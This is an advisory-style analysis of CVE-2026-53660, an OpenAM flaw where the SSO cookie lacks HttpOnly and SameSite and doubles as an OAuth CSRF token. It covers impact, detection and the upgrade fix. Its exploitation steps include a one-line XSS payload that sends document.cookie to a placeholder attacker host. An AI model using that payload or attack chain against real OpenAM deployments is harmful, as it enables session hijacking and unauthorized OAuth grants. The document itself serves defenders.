CVE-2026-53660: 
Java vulnerability analysis and mitigation

CVE-2026-53660 is an Insecure SSO Cookie Initialization vulnerability in OpenAM Community Edition that ships the iPlanetDirectoryPro SSO cookie with HttpOnly=false by default, enabling JavaScript-based session theft. Additionally, the same cookie is reused as a CSRF token in OAuth/OIDC consent flows, compounding the attack surface. The vulnerability affects OpenAM Community Edition through version 16.0.6 (Maven package org.openidentityplatform.openam:openam-core) and was patched in version 16.1.1. It was first published by the vendor on June 29, 2026, and added to the GitHub Advisory Database on August 14, 2026. The CVSS v4.0 base score is 7.0 (High) (GitHub Advisory, OpenAM Advisory).

The root cause is an insecure default initialization (CWE-1188) in OpenAM's configuration, which sets the iPlanetDirectoryPro SSO cookie without the HttpOnly flag (CWE-1004) and without a SameSite attribute (CWE-1275). Because the HttpOnly flag is absent, any JavaScript executing in the OpenAM origin — including via a same-origin XSS vulnerability — can directly read the SSO cookie value via document.cookie. The design flaw is further compounded by the fact that the same iPlanetDirectoryPro cookie is used as the CSRF token in OAuth/OIDC consent flows, meaning a single XSS payload can simultaneously steal the session token and forge OAuth consent grants on behalf of the victim. Exploitation requires active user interaction (clicking an attacker-controlled link) but no privileges or special attack conditions (GitHub Advisory, OpenAM Advisory).

Successful exploitation allows an attacker to steal the iPlanetDirectoryPro SSO session token of any authenticated OpenAM console user, resulting in full session hijacking and unauthorized access to all resources protected by that SSO session. Because the stolen cookie also serves as the CSRF token in OAuth/OIDC flows, an attacker can simultaneously complete attacker-driven OAuth consent grants in a single step, potentially gaining access to third-party applications and services linked via OpenAM. The missing SameSite attribute further broadens the CSRF attack surface, enabling cross-site request forgery attacks against OpenAM endpoints from any origin (GitHub Advisory).

No public exploit code or in-the-wild exploitation has been reported as of the advisory publication date. The vulnerability requires chaining with a same-origin XSS vulnerability in the OpenAM deployment, and active user interaction (clicking a malicious link) is necessary. The CVE status is listed as "Reserved" in the NVD, and no EPSS score or CISA KEV catalog entry is currently available. The vulnerability was reported by researcher "wodzen" and disclosed through the OpenIdentityPlatform GitHub security advisory process (GitHub Advisory, OpenAM Release).

1. Identify a same-origin XSS vector: Locate an existing XSS vulnerability within the OpenAM origin (e.g., CVE-2026-44203 or CVE-2026-44793, both pre-authentication reflected XSS issues patched in the same 16.1.1 release) that can be triggered in the context of an authenticated user's browser session.
2. Craft a malicious link: Construct a URL that triggers the same-origin XSS payload when visited by an authenticated OpenAM console user.
3. Inject cookie-stealing JavaScript: Embed a JavaScript payload that reads document.cookie to extract the iPlanetDirectoryPro SSO token (possible because HttpOnly=false) and exfiltrates it to an attacker-controlled server (e.g., new Image().src='https://attacker.com/steal?c='+document.cookie).
4. Deliver the link to the victim: Send the crafted URL to an authenticated OpenAM administrator or user via phishing, social engineering, or another delivery mechanism.
5. Hijack the SSO session: Use the stolen iPlanetDirectoryPro cookie value to authenticate as the victim across all SSO-protected resources.
6. Forge OAuth consent (optional): If targeting OAuth/OIDC flows, use the stolen cookie (which also serves as the CSRF token) to submit attacker-controlled OAuth consent grants, gaining access to downstream applications authorized under the victim's identity (GitHub Advisory, OpenAM Advisory).

• Network: Outbound HTTP requests from a user's browser to unexpected external domains immediately following interaction with an OpenAM page, potentially carrying cookie values as query parameters or in request bodies; unusual OAuth consent grant completions originating from unexpected IP addresses.
• Logs: OpenAM access logs showing the iPlanetDirectoryPro session token being used from multiple distinct IP addresses or geographic locations within a short time window; OAuth/OIDC consent grant events not initiated by the legitimate user.
• Application Behavior: Unexpected OAuth application authorizations appearing in user account activity; administrative actions performed under a legitimate user's session that the user did not initiate.

The primary remediation is to upgrade OpenAM Community Edition to version 16.1.1, which sets the HttpOnly flag on the iPlanetDirectoryPro SSO cookie and addresses the insecure default initialization (OpenAM Release). As a temporary workaround prior to patching, administrators should review and manually configure the SSO cookie to include HttpOnly and an appropriate SameSite attribute (e.g., SameSite=Lax or SameSite=Strict) via OpenAM's cookie configuration settings. Additionally, deploying a Web Application Firewall (WAF) to detect and block XSS payloads targeting the OpenAM origin can reduce the risk of chained exploitation (GitHub Advisory).